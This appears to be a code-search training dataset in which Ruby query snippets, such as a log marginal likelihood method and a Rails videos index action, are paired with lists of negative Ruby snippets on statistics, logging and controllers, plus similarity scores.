"0.50397044", "0.50372094", "0.50351983", "0.50320274", "0.5030951", "0.5022448" ]
0.0
-1
cal log marginal likelihood
def cal_log_ml lml = 0 # log p(c^d | \alpha) for d in 0..@d-1 lml += cal_log_Z(@c[d], @a) end # log p(A | c, \beta) @Ce.keys.each do |ckey| lml += cal_log_Z(@Ce[ckey], @b) end lml -= @Ce.size * cal_log_Z(Array.new(@v){|v| 0}, @b) lml end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def _log_likelihood x,y,b \n sum = 0\n x.row_size.times{|i|\n xi = Matrix.rows([x.row(i).to_a.collect{|v| v.to_f}])\n y_val = y[i,0].to_f\n sum += log_likelihood_i xi, y_val, b\n }\n\n sum\n end", "def log_likelihood_i(xi,yi,b)\n fbx=f(b,xi)\n (yi.to_f*Math::log(fbx))+((1.0-yi.to_f)*Math::log(1.0-fbx))\n end", "def likelihood x,y,b\n prod = 1\n x.row_size.times{|i|\n xi=Matrix.rows([x.row(i).to_a.collect{|v| v.to_f}])\n y_val=y[i,0].to_f\n #fbx=f(b,x)\n prod=prod*likelihood_i(xi, y_val ,b)\n }\n prod\n end", "def log\n math :log\n end", "def log_proposal_density(y,x)\n raise \"Not implemented\"\n end", "def log_density(x)\n raise \"Not implemented\"\n end", "def calcD(pn,pa)\n return -1*(Math.log2(pn/pa))\nend", "def mle_via_newton(logLikelihood,initial_parameter_value,tolerance=0.001)\n # Your code goes here.\nend", "def d1logL\n raise \"No implemented\"\n end", "def log(v, base=nil); Math.log(v, base||Math::E); end", "def cost(theta, vector, y)\n estimate = hypothesis(theta, vector)\n\n y == 0 ? -Math.log(1.0 - estimate) : -Math.log(estimate)\nend", "def d2logL\n raise \"No implemented\"\n end", "def fd_loglike_b_eq14(m)\n rho=@rho\n if rho.abs>0.9999\n rho= (rho>0) ? 0.9999 : -0.9999\n end\n total=0\n b_m=b(m)\n @nr.times do |i|\n e_1=@matrix[i,m].quo(pd[i][m]+EPSILON) - @matrix[i,m+1].quo(pd[i][m+1]+EPSILON)\n e_2=Distribution::Normal.pdf(b_m)\n e_3=Distribution::Normal.cdf((a(i)-rho*b_m).quo(Math::sqrt(1-rho**2))) - Distribution::Normal.cdf((a(i-1)-rho*b_m).quo(Math::sqrt(1-rho**2)))\n #puts \"val #{j}: #{e_1} | #{e_2} | #{e_3}\"\n \n total+= e_1*e_2*e_3\n end\n total\n end", "def logistic(alpha, beta)\n ( -beta - Math.log(1/random - 1) ) / alpha\n end", "def ln\n push Math.log(pop)\n end", "def likelihood\n @likelihood ||= Likelihood.from_grpc @grpc\n end", "def log\n Double.new(Math.log(self.to_f))\n rescue Math::DomainError\n Double.new(::Float::NAN)\n end", "def propagation_fn(x) 1/(1+Math.exp(-x)) end", "def log(number)\n return 0 if number == 0.0 || number == 0\n Math::log(number, 2)\nend", "def log_l(k, n, x)\n # L(k, n, x) = x^k (1 - x)^(n - k)\n l = x**k * ((1 - x)**(n - k))\n l = Math.log(l) unless l.abs < 0.001\n l\n end", "def print_likelihoods(word)\n\t\tplural = word.pluralize\n\t\t(0..NUM_TOPICS-1).each do |topic_number|\n\t\t\tword_data = @data_matrix[topic_number][word].map{|x| Math.exp(x)}\n\t\t\tif @data_matrix[topic_number][plural]\n\t\t\t\tplural_word_data = @data_matrix[topic_number][plural].map{|x| Math.exp(x)}\n\t\t\t\tword_data = [word_data, plural_word_data].transpose.map {|prob_pair| prob_pair.inject(:+) }\n\t\t\tend\n\t\t\tputs \"Average likelihood for '#{word}' in topic #{topic_number}: \" + (word_data.inject(:+).to_f.round(4)/word_data.size.to_f).to_s\n\t\tend\n\tend", "def semantic_information\n -Math::log10(self.semantic_probability)\n end", "def fit_logarithmic(xs, ys)\n fit(xs, ys, tran_x: ->(x) { Math.log(x) })\n end", "def dlog_icm(base, m, p)\r\n\t\t# Select factor base\r\n\r\n\t\t# Select smooth elements on factor base\r\n\r\n\t\t# Solve DL of factor base for base\r\n\r\n\t\t# Find smooth element h s.t. h == m * base ** f where f is integer\r\n\r\n\t\t# Solve DL of h for factor base\r\n\r\n\t\traise NotImplementedError\r\n\tend", "def lngamm(z) \n x = 0\n x += 0.0000001659470187408462 / (z+7)\n x += 0.000009934937113930748 / (z+6)\n x -= 0.1385710331296526 / (z+5)\n x += 12.50734324009056 / (z+4)\n x -= 176.6150291498386 / (z+3)\n x += 771.3234287757674 / (z+2)\n x -= 1259.139216722289 / (z+1)\n x += 676.5203681218835 / (z)\n x += 0.9999999999995183\n\n return(Math.log(x)-5.58106146679532777-z+(z-0.5) * Math.log(z+6.5))\n end", "def anger\n @grpc.anger_likelihood\n end", "def lngamm(z)\n x = 0\n x += 0.0000001659470187408462 / (z+7)\n x += 0.000009934937113930748 / (z+6)\n x -= 0.1385710331296526 / (z+5)\n x += 12.50734324009056 / (z+4)\n x -= 176.6150291498386 / (z+3)\n x += 771.3234287757674 / (z+2)\n x -= 1259.139216722289 / (z+1)\n x += 676.5203681218835 / (z)\n x += 0.9999999999995183\n\n return(Math.log(x)-5.58106146679532777-z+(z-0.5) * Math.log(z+6.5))\n end", "def get_mean \n return Math.exp(@meanlog + @sdlog**2 / 2.0)\n end", "def log2prob()\n map_hash{|k,v| [k , Math.exp(v)]}\n end", "def corpus_information\n -Math::log10(self.corpus_probability)\n end", "def log(z)\n if Complex.generic?(z) and z >= 0\n log!(z)\n else\n r, theta = z.polar\n Complex(log!(r.abs), theta)\n end\n end", "def get_log_coeffs\n\t\tp = (0...@n).reduce(0) {|sum, i| sum + (@ys[i]*Math::log(@xs[i]))} # Sum {y*ln(x)}\n\t\tq = (0...@n).reduce(0) {|sum, i| sum + @ys[i]} # Sum {y}\n\t\tr = (0...@n).reduce(0) {|sum, i| sum + Math::log(@xs[i])} # Sum {ln(x)}\n\t\ts = (0...@n).reduce(0) {|sum, i| sum + (Math::log(@xs[i]))**2} # Sum {ln(x)^2}\n\n\t\tb = (@n*p - q*r) / (@n*s - r**2)\n\t\ta = (q - b*r) / @n\n\n\t\t@log_coeffs = [a.round(2), b.round(2)]\n\tend", "def fd_loglike_a_eq13(k)\n rho=@rho\n if rho.abs>0.9999\n rho= (rho>0) ? 0.9999 : -0.9999\n end\n total=0\n a_k=a(k)\n @nc.times do |j|\n #puts \"j: #{j}\"\n #puts \"b #{j} : #{b.call(j)}\"\n #puts \"b #{j-1} : #{b.call(j-1)}\"\n \n e_1=@matrix[k,j].quo(pd[k][j]+EPSILON) - @matrix[k+1,j].quo(pd[k+1][j]+EPSILON)\n e_2=Distribution::Normal.pdf(a_k)\n e_3=Distribution::Normal.cdf((b(j)-rho*a_k).quo(Math::sqrt(1-rho**2))) - Distribution::Normal.cdf((b(j-1)-rho*a_k).quo(Math::sqrt(1-rho**2)))\n #puts \"val #{j}: #{e_1} | #{e_2} | #{e_3}\"\n total+= e_1*e_2*e_3\n end\n total\n end", "def decision_function(x)\n x = ::Rumale::Validation.check_convert_sample_array(x)\n\n n_classes = @classes.size\n log_likelihoods = Array.new(n_classes) do |l|\n Math.log(@class_priors[l]) - 0.5 * (\n Numo::NMath.log(2.0 * Math::PI * @variances[l, true]) +\n ((x - @means[l, true])**2 / @variances[l, true])).sum(axis: 1)\n end\n Numo::DFloat[*log_likelihoods].transpose.dup\n end", "def fd_loglike_rho\n rho=@rho\n if rho.abs>0.9999\n rho= (rho>0) ? 0.9999 : -0.9999\n end\n total=0\n @nr.times do |i|\n @nc.times do |j|\n pi=pd[i][j] + EPSILON\n total+= (@matrix[i,j].quo(pi)) * (bipdf(i,j)-bipdf(i-1,j)-bipdf(i,j-1)+bipdf(i-1,j-1)) \n end\n end\n total\n end", "def get_cdf(x)\n return 0.5 + 0.5 * Math.erf((Math.log(x.to_f) - @meanlog) / (NumericalConstants::SQRT2 * @sdlog))\n end", "def logsolver(base, number)\n b = log(base)\n a = log(number)\n return (a) / (b)\n end", "def log2(x)\n return Math.log(x, 2)\nend", "def get_neg_log(pval)\n if pval == 0\n return 50\n elsif pval == 1\n return 0.0\n else\n return -Math.log10(pval.to_f)\n end\n end", "def fd_loglike_b(m)\n fd_loglike_b_eq14(m)\n end", "def logb(x, b = 2)\n Math.log(x) / Math.log(b)\n end", "def get_pdf(x)\n raise \"Argument Error: x must be greater than zero\" if x <= 0.0\n return 1.0/x.to_f * @norm.pdf(Math.log(x.to_f))\n end", "def lbeta(x,y)\n Beta.log_beta(x,y)\n end", "def calculate_prediction_likelihood(away_team_goals_conceded, away_team_goals_scored, home_team_goals_conceded, home_team_goals_scored)\n delta = (home_team_goals_scored - away_team_goals_conceded).abs + (home_team_goals_conceded - away_team_goals_scored).abs\n DSHelpers.reverse_normalize_value(delta,0, 8.0,1.0)\n end", "def confidenceLo\n end", "def logf(f)\n typedecl f: Float, foreign: Float\n Math.log(f)\n end", "def get_expected_idf(num_docs_total, num_docs_term)\n Math.log((1 + num_docs_total).to_f / (1 + num_docs_term))\nend", "def log10\n math :log10\n end", "def log=(log); end", "def pdf(x, a, b)\n return 0 if x < 0 || x > 1\n\n gab = Math.lgamma(a + b).first\n ga = Math.lgamma(a).first\n gb = Math.lgamma(b).first\n\n if x == 0.0 || x == 1.0\n Math.exp(gab - ga - gb) * x**(a - 1) * (1 - x)**(b - 1)\n else\n Math.exp(gab - ga - gb + Math.log(x) * (a - 1) + Math::Log.log1p(-x) * (b - 1))\n end\n end", "def sorrow\n @grpc.sorrow_likelihood\n end", "def fd_loglike_b_eq6(m)\n rho=@rho\n if rho.abs>0.9999\n rho= (rho>0) ? 0.9999 : -0.9999\n end\n total=0\n @nr.times do |i|\n @nc.times do |j|\n total+=@matrix[i,j].quo(pd[i][j]+EPSILON) * fd_loglike_cell_b(i,j,m)\n end\n end\n total\n end", "def log_softmax(input, dim = nil)\n dim ||= softmax_dim(input.dim)\n input.log_softmax(dim)\n end", "def log\n values = [ @simplex.points[-1][1],(@simplex.norm || 0)].flatten\n puts \"New point at:\\n #{@simplex.points[-1][0].to_a.inspect} -> %9.5f ||%9.5f||\" % values \n puts \"______________________________________\"\n end", "def dlog_rho(base, m, p)\r\n\t\traise NotImplementedError\r\n\tend", "def ilog(probability)\n max = ceil || 65535\n log10 = Math.log10(probability / 10)\n ((-1 / log10) * max).to_i\n end", "def ilog(probability)\n max = ceil || 65535\n log10 = Math.log10(probability / 10)\n ((-1 / log10) * max).to_i\n end", "def marginal_costs\n @cost_strategy.marginal_cost\n end", "def blurred\n @grpc.blurred_likelihood\n end", "def get_icdf(p)\n raise \"method 'get_icdf' not implemented for log-normal\"\n end", "def get_pdf(x) \n d = Vector.elements(x) - @mu\n @pdf_factor * Math.exp(-0.5 * d.inner_product(@sigma_inv*d).to_f)\n end", "def log(msg, params = { }, &block)\n CondLog.call(msg, params, &block)\n end", "def log\n push Math.log10(pop)\n end", "def log_linear(array)\n if array.length <= 1\n return array\n else\n mid = (array.length / 2)\n left = log_linear(array[0...mid])\n right = log_linear(array[mid..array.length])\n merge(left, right)\n end\nend", "def apply_function_log(scope, ast)\n num, base = ast.children\n scope, num = apply_ast(scope, num)\n if base.nil?\n return scope, \"log(#{num}::numeric)\"\n else\n scope, base = apply_ast(scope, base)\n return scope, \"log(#{base}::numeric, #{num}::numeric)\"\n end\n end", "def calculate\n document_frequency.each_with_object({}) do |(word, freq), idf|\n idf[word] = Math.log(@corpus.size/freq)\n end\n end", "def maximum_likehood_dichotomic(pred,real)\n preda,reala=Statsample.only_valid_clone(pred,real) \n sum=0\n preda.each_index{|i|\n sum+=(reala[i]*Math::log(preda[i])) + ((1-reala[i])*Math::log(1-preda[i]))\n }\n sum\n end", "def log(msg, metadata: {}, restrict: [])\n # clearing a small hash is slightly faster than creating a new\n # one each time.\n merged_metadata.clear\n merged_metadata.merge!(@global_context)\n \n # first load context data\n context.each do |ctx_data|\n case ctx_data\n when Hash\n merged_metadata.merge!(ctx_data)\n \n when Extension\n ctx_data.class.properties.each do |attr_name|\n merged_metadata[attr_name] = ctx_data.send(attr_name)\n end\n \n end\n end\n \n # then add our data\n merged_metadata.merge!(metadata)\n \n # and dispatch the result\n merged_metadata.each do |k,v|\n if v.is_a?(Proc)\n merged_metadata[k] = v.call()\n end\n end\n \n dispatch(msg, metadata: merged_metadata, restrict: restrict)\n end", "def marginal_costs\n fetch(:marginal_costs, false) do\n if output(:electricity).nil?\n nil\n elsif electricity_output_conversion.zero?\n 0.0\n else\n variable_costs_per_typical_input(include_waste: false) *\n SECS_PER_HOUR / # Highlighting\n electricity_output_conversion\n end\n end\n end", "def test_log\n assert_raises(Calc::MathError) { Calc::Q(0).log }\n assert_rational_and_equal 0, Calc::Q(1).log\n assert_in_epsilon Math.log10(2), Calc::Q(2).log\n assert_complex_parts [0, 1.36437635384184134748], Calc::Q(-1).log\n assert_complex_parts [0.30102999566398119521, 1.36437635384184134748], Calc::Q(-2).log\n end", "def __list_unary_log__(base)\n self.__list_map_stored__(nil) { |l| Math.log(l, base) }.cast(stype, NMatrix.upcast(dtype, :float64))\n end", "def get_variance\n return (Math.exp(@sdlog**2) - 1) * Math.exp(2.0 * @meanlog + @sdlog**2)\n end", "def motifs_entropy(motifs)\n # Entropy is a measure of the uncertainty of a probability distribution (p1, …, pN), and is defined as follows:\n # H(p1,…,pN)= − for i = 1 to N { pi·log2pi }\n # For example, the entropy of the probability distribution (0.2, 0.6, 0.0, 0.2) corresponding to the 2nd column of the NF-κB profile matrix is\n\n # −(0.2log(2)0.2 + 0.6log(2)0.6 + 0.0log(2)0.0 + 0.2log(2)0.2) ~ 1.371\n\n # We just have to get the profile motif and compute the entropy for each column\n profile = profile_motifs(motifs)\n entropy_a = []\n global_entropy = 0.0\n (0..(profile.column_count-1)).each do |col_i|\n entropy = 0.0\n profile.column(col_i).each do |val|\n # puts val\n # puts (val*Math.log2(val))\n entropy += (val*Math.log2(val)) unless val == 0.0\n # puts entropy\n end\n entropy *= -1.0 unless entropy == 0.0\n entropy_a << entropy.round(4)\n global_entropy += entropy\n end \n\n # return entropy_a\n return global_entropy.round(3)\n end", "def P_of_c(clazz)\n Math.log(doc_count(clazz).to_f / num_of_docs)\n end", "def pML(ngram, discount=0)\n # if the numerator count is zero, return zero\n if not @counts.include?(ngram) then return 0 end\n\n # extract a denominator ngram based on the size of the numerator ngram\n dgram = nil\n case ngram.size\n when 3\n dgram = ngram[0..1]\n when 2\n dgram= ngram[0..0]\n end\n\n result = 0\n if dgram\n # if the denominator count would be zero, return 0\n if not @counts.include?(dgram) then return 0 end\n # discount the numerator if needed\n result = (@counts.fetch(ngram, 0).to_f - discount) / @counts.fetch(dgram, 0).to_f\n else\n if @word_count == 0 then return 0 end\n # discount the numerator if needed\n result = (@counts.fetch(ngram, 0).to_f - discount) / @word_count.to_f\n end\n\n# puts \"#{ngram.inspect} #{result}\"\n return result\n\n rescue ZeroDivisionError\n 0\n end", "def plapla(xmu, tau)\n u = random * 2.0\n if u > 1.0\n u = 2.0 - u\n -tau * Math.log(u) + xmu\n else\n tau * Math.log(u) + xmu\n end\n end", "def log=(_arg0); end", "def log=(_arg0); end", "def log=(_arg0); end", "def estimation_n0(d,prop,margin=0.95)\n t=Distribution::Normal.p_value(1-(1-margin).quo(2))\n var=prop*(1-prop)\n t**2*var.quo(d**2)\n end", "def initialize(meanlog=0.0, sdlog=1.0)\n raise \"Argument Error: standard deviation for log-normal distribution must be positive.\" if sdlog < 0.0\n @meanlog = meanlog.to_f\n @sdlog = sdlog.to_f \n @norm = Rubystats::NormalDistribution.new(@meanlog, @sdlog)\n end", "def apr\n payment_ratio = self.monthly_payment_with_fees / self.loan_amount\n f = lambda { |k| (k**(self.period + 1) - (k**self.period * (payment_ratio + 1)) + payment_ratio) }\n f_deriv = lambda { |k| ((self.period + 1) * k**self.period) - (self.period * (payment_ratio + 1) * k**(self.period - 1)) }\n\n root = newton_raphson(f, f_deriv, self.monthly_interest_rate + 1)\n 100 * 12 * (root - 1).to_f\n end", "def probability_of_success\n experience / 5.0\n end", "def calculate_mle_probability next_ngram: nil, ngram_model: 0, separator: \" \", mode: :single\n raise ('MLE: ngram_model must be set explicitly in sentence mode') if (ngram_model==0 and mode == :sentence)\n\n local_ngram_model=ngram_model==0 ? next_ngram.split(separator).count : ngram_model\n if mode==:single\n rc=get_raw_counts(next_ngram,local_ngram_model)\n return rc.to_f/@good_turing_bins[ngram_model][0] # this is where we keep V\n elsif mode==:sentence\n return next_ngram.split(separator).each_cons(local_ngram_model).reduce(1) {|acc, word| (@ngram_counts[local_ngram_model][word.join(\" \")].to_f/@good_turing_bins[local_ngram_model][0].to_f)*acc}\n else\n raise ('MLE: unknown mode [available modes are :single and :sentence]') if (mode != :single and mode != :sentence)\n end\n end", "def geomean x\n sum = 0.0\n x.each{ |v| sum += Math.log(v) }\n sum /= x.size\n Math.exp sum\n end", "def dj_dp0(p0, p1)\n raise \"Training set x,y array sizes are not equal\" if @x_t.length != @y_t.length\n sum = 0.0\n for i in 0...@m\n sum += (p0 + p1*@norm_x_t[i] - @norm_y_t[i])\n end\n sum/@m\n end", "def Auditlog( mo, msg )\n auditEntry = Audit.new\n auditEntry.message = \"#{mo} #{caller[0][/`.*'/][1..-2]} #{msg.inspect}\"\n #auditEntry.origin = ip\n auditEntry.origin = request.remote_ip\n auditEntry.user = !current_user.nil? ? current_user.email : 'no-user'\n auditEntry.datetime = DateTime.now\n\n if !auditEntry.save\n _auditLog.info \"#{user} #{ip} #{caller[0][/`.*'/][1..-2]} #{msg.inspect}\"\n end\n\n end", "def entropy_rv\n distr = pdf\n distr.inject(0) do |t, kv|\n name, pn = kv\n t += -pn * (pn == 0 ? 0.0 : Math.log(pn)) / Math.log(10)\n end\n end", "def log_beta(a, b)\n log_gamma(a) + log_gamma(b) - log_gamma(a + b)\n rescue Errno::ERANGE, Errno::EDOM\n 0 / 0.0\n end", "def initialize_flog\n self.flog_method ||= :max_method\n self.flog_threshold ||= 20 # 2x industry avg\n end", "def gml_Sun() \r\n #total = [ 1.0/-19880000.0, 1.0/-152990.0, 1.0/499310.0,\r\n #\t\t 0.0003032028, 36000.76982779, 280.4664567 ] \r\n # mod_360(total.inject(0.0) {|p, a| p * @ta + a}) * D2R\r\n ml(@ta)\r\n end", "def conditional_probability\nend", "def nper\n z = payment * (1.0 + monthly_rate * ptype) / monthly_rate\n\n Math.log(-future_value + z / (amount + z)) / Math.log(1.0 + monthly_rate)\n end", "def selection_likelihood\n return @selection_likelihood\n end", "def joy\n @grpc.joy_likelihood\n end", "def log(*args); end", "def create_log(param); end", "def slogdet(a)\n lu, piv, = Lapack.call(:getrf, a)\n idx = piv.new_narray.store(piv.class.new(piv.shape[-1]).seq(1))\n m = piv.eq(idx).count_false(axis:-1) % 2\n sign = m * -2 + 1\n\n lud = lu.diagonal\n if (lud.eq 0).any?\n return 0, (-Float::INFINITY)\n end\n lud_abs = lud.abs\n sign *= (lud/lud_abs).prod\n [sign, NMath.log(lud_abs).sum(axis:-1)]\n end", "def calcShannonEnt(dataSet)\n numEntries = dataSet.size\n labelCounts = {}\n dataSet.each_with_index do |inst, pos|\n label = inst[-1]\n labelCounts[label]=labelCounts.fetch(label,0)+1\n end\n shannonEnt = 0.0\n labelCounts.each_pair do |k, v|\n prob=v.to_f/numEntries\n shannonEnt-=prob*Math.log2(prob)\n end\n shannonEnt\n end", "def estimation_n(d,prop,n_pobl,margin=0.95)\n n0=estimation_n0(d,prop,margin)\n n0.quo( 1 + ((n0 - 1).quo(n_pobl)))\n end" ]
[ "0.67267185", "0.62142074", "0.6121376", "0.60136694", "0.578968", "0.57686424", "0.5716097", "0.5686498", "0.55817014", "0.55808157", "0.5564415", "0.55126923", "0.547832", "0.54488754", "0.5436698", "0.5428239", "0.5417961", "0.5405465", "0.5386149", "0.53357977", "0.5303244", "0.52843505", "0.5268886", "0.5255076", "0.5245413", "0.5220053", "0.5192147", "0.5163878", "0.51593447", "0.5144179", "0.51374507", "0.512404", "0.51069236", "0.506809", "0.50556314", "0.5037757", "0.50312424", "0.50294757", "0.50235957", "0.50078505", "0.4957427", "0.49474585", "0.49429405", "0.49424544", "0.49404848", "0.4938668", "0.49356192", "0.4924696", "0.49062553", "0.4883174", "0.48760343", "0.48638743", "0.48316187", "0.48084992", "0.4791476", "0.47779936", "0.47779936", "0.47767025", "0.47766277", "0.47718856", "0.47452477", "0.47381", "0.46920002", "0.46563613", "0.46539232", "0.46379656", "0.46356276", "0.462739", "0.46244234", "0.46223798", "0.46029097", "0.46005926", "0.45864907", "0.45820066", "0.45753372", "0.4565338", "0.45649943", "0.45649943", "0.45649943", "0.4516965", "0.451444", "0.45071384", "0.45046657", "0.45028305", "0.4500165", "0.4490961", "0.44895127", "0.447813", "0.44727835", "0.44705912", "0.44435763", "0.44400144", "0.4439627", "0.44376755", "0.44226378", "0.44078928", "0.44058058", "0.43994504", "0.4395888", "0.43899104" ]
0.7073148
0
GET /videos GET /videos.xml
def index @devices = Address.find(:all) if params.has_key?(:device_id) @videos = Video.find(:all, :conditions =>["device_id = ?", params[:device_id]], :order => "timestamp DESC") else @videos = Video.find(:all, :order => "timestamp DESC") end respond_to do |format| format.html # index.html.erb format.xml { render :xml => @videos } end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def videos options={}\n response = client.get(\"/#{id}/videos\", options)\n end", "def index\n @videos = Video.all\n respond_to do |format|\n format.html # index.rhtml\n format.xml { render :xml => @videos.to_xml }\n end\n end", "def show\n @video = Video.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @video }\n end\n end", "def show\n @video = Video.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @video }\n end\n end", "def show\n @video = Video.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @video }\n end\n end", "def show\n @video = Video.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @video }\n end\n end", "def show\n @video = Video.find(params[:id])\n \n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @video }\n end\n end", "def get_album_videos album_id\n get(\"/albums/#{album_id}/videos\")\n end", "def resources\n videos\n end", "def video_list(login = nil, authenticated = false, page=1)\n result = []\n response = nil\n if authenticated\n response = auth_connection(HTTP_GET, \"/api/#{login}/videos.xml?page=#{page}\")\n else\n response = public_connection(HTTP_GET, \"/api/#{login}/videos.xml?page=#{page}\")\n end\n if response and response.body\n doc = REXML::Document.new response.body\n videos = doc.elements['videos']\n videos.elements.each('video') do |video|\n result << Video.new(video.to_s)\n end\n end\n result\n end", "def index\n @community_member_videos = @community_member_profile.videos\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @community_member_videos }\n end\n end", "def show\r\n @video = Video.find(params[:id])\r\n\r\n respond_to do |format|\r\n format.html # show.html.erb\r\n format.xml { render :xml => @video }\r\n end\r\n end", "def get_xml\n xml = \"<ut_response status=\\\"ok\\\">\" +\n \"<video_count>\" + @video_count.to_s + \"</video_count>\" +\n \"<video_list>\\n\"\n each do |video|\n xml += video.to_xml\n end\n xml += \"</video_list></ut_response>\"\n end", "def video_doc(xml)\n Nokogiri::XML.parse(\"<root xmlns:video='#{SitemapGenerator::SCHEMAS['video']}'>#{xml}</root>\")\n end", "def list\n @videos = Video.all\n\n respond_to do |format|\n format.html # list.html.erb\n format.json { render json: @videos }\n end\n end", "def show\n @community_member_video = @community_member_profile.videos.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @community_member_video }\n end\n end", "def video_xml\n xml = Builder::XmlMarkup.new(:indent => 2)\n xml.instruct! :xml, :version => '1.0', :encoding => nil\n xml.entry :xmlns => 'http://www.w3.org/2005/Atom',\n 'xmlns:media' => 'http://search.yahoo.com/mrss/',\n 'xmlns:yt' => 'http://gdata.youtube.com/schemas/2007' do\n xml.media :group do\n xml.media :title, @opts[:title], :type => 'plain'\n xml.media :description, @opts[:description], :type => 'plain'\n xml.media :category, @opts[:category], :scheme => 'http://gdata.youtube.com/schemas/2007/categories.cat'\n @opts[:developer_tags].each do |developer_tag|\n xml.media :category, developer_tag, :scheme => 'http://gdata.youtube.com/schemas/2007/developertags.cat'\n end\n xml.tag! 'media:keywords', @opts[:keywords].join(\",\")\n end\n end\n xml.target!\n end", "def video_xml\n xml = Builder::XmlMarkup.new(:indent => 2)\n xml.instruct! :xml, :version => '1.0', :encoding => nil\n xml.entry :xmlns => 'http://www.w3.org/2005/Atom',\n 'xmlns:media' => 'http://search.yahoo.com/mrss/',\n 'xmlns:yt' => 'http://gdata.youtube.com/schemas/2007' do\n xml.media :group do\n xml.media :title, @opts[:title], :type => 'plain'\n xml.media :description, @opts[:description], :type => 'plain'\n xml.media :category, @opts[:category], :scheme => 'http://gdata.youtube.com/schemas/2007/categories.cat'\n @opts[:developer_tags].each do |developer_tag|\n xml.media :category, developer_tag, :scheme => 'http://gdata.youtube.com/schemas/2007/developertags.cat'\n end\n xml.tag! 'media:keywords', @opts[:keywords].join(\",\")\n end\n end\n xml.target!\n end", "def show\n @videos = Video.find_by(id: params[:id])\n end", "def show\n @video_model = VideoModel.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @video_model }\n end\n end", "def index\n @videos = current_user.videos\n respond_with(@videos)\n end", "def index\n @videos = @item.videos\n end", "def index\n @videos = @item.videos\n end", "def rss_video\n @language = params[:DLANG] || 'ENG'\n I18n.locale = @locale = Language::CODE3_LOCALE[@language] || :en\n\n @days = params[:DAYS].to_i || 1\n @days = 1 if @days > 31 || @days < 1\n\n @host = \"#{request.protocol}#{request.host}#{request.port == 80 ? '' : \":#{request.port}\"}\"\n\n # Get list of updated files\n @files = get_updated_files(@days).map do |file|\n {\n lesson_id: file[0],\n title: get_lesson_title(file[0], @language),\n updated: file[1][0].updated,\n files: file[1].group_by { |x| x['ftype'].downcase }\n }\n end.select do |file|\n file[:title]\n end\n end", "def index\n @videos = Video.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @videos }\n end\n end", "def index\n @videos = Video.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @videos }\n end\n end", "def index\n @videos = Video.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @videos }\n end\n end", "def index\n @videos = Video.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @videos }\n end\n end", "def index\n @videos = Video.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @videos }\n end\n end", "def videos( params={} )\n videos = get_connections(\"videos\", params)\n return map_connections videos, :to => Facebook::Graph::Video\n end", "def show\n @videos = Video.all\n @video = @videos.find params[:id]\n end", "def index\n @afdoc = ActiveFedora::Base.find(params[:archival_video_id], :cast => true)\n respond_to do |format|\n format.html { render :partial => \"external_videos/show/list\" if request.xhr? }\n end\n end", "def index\n respond_to do |format|\n format.html { render_template } # index.html.erb\n format.xml { render xml: @product_videos }\n end\n end", "def video_xml(video_options)\n SitemapGenerator::Builder::SitemapUrl.new(url_options[:path], {\n :host => url_options[:host],\n :video => video_options\n }).to_xml\n end", "def index\n @videos = current_user.videos\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @videos }\n end\n end", "def index\n @videos = Video.all\n end", "def index\n @videos = Video.all\n end", "def index\n @videos = Video.all\n end", "def index\n @videos = Video.all\n end", "def index\n @videos = Video.all\n end", "def index\n @videos = Video.all\n end", "def index\n @videos = Video.all\n end", "def index\n @videos = Video.all\n end", "def index\n @videos = Video.all\n end", "def index\n @videos = Video.all\n end", "def index\n @videos = Video.all\n end", "def index\n @videos = Video.all\n end", "def index\n @videos = Video.all\n end", "def index\n @videos = Video.all\n end", "def index\n @videos = Video.all\n end", "def index\n @videos = Video.all\n end", "def index\n @videos = Video.all\n end", "def index\n\n\n\n @yt_client = YouTubeIt::Client.new(:dev_key => ENV[\"YOUTUBE_DEV_KEY\"])\n\n @videos = Video.search(params[:search])\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @videos }\n end\n end", "def index\n @videos = @palestrante.videos.mais_novos\n end", "def show\n @video = Video.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @video }\n end\n end", "def show\n @video = Video.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @video }\n end\n end", "def show\n @video = Video.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @video }\n end\n end", "def show\n @video = Video.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @video }\n end\n end", "def show\n @video = Video.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @video }\n end\n end", "def show\n @video = Video.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @video }\n end\n end", "def show\n @video = Video.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @video }\n end\n end", "def show \n @project = Project.find params[:id]\n @videos = @project.videos\n end", "def index\n @videos = Video.all\n render json: @videos\n end", "def show\n @video = current_user.videos.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @video }\n end\n end", "def index\n #@videos = Video.all\n @videos = Video.paginate(:page => params[:page], :per_page => 25)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @videos }\n end\n end", "def index\n\t\t@latest_video = Video.find(:first, :order => \"created_at DESC\")\n\t\toptions = {\n\t\t\t:page => params[:page] || 1,\n\t\t\t:per_page => 10,\n\t\t\t:order => params[:sort].blank? ? \"created_at DESC\" : params[:sort]\n\t\t}\n\t\toptions[:conditions] = [\"id != #{@latest_video.id}\"]\n @videos = Video.paginate(options)\n\n 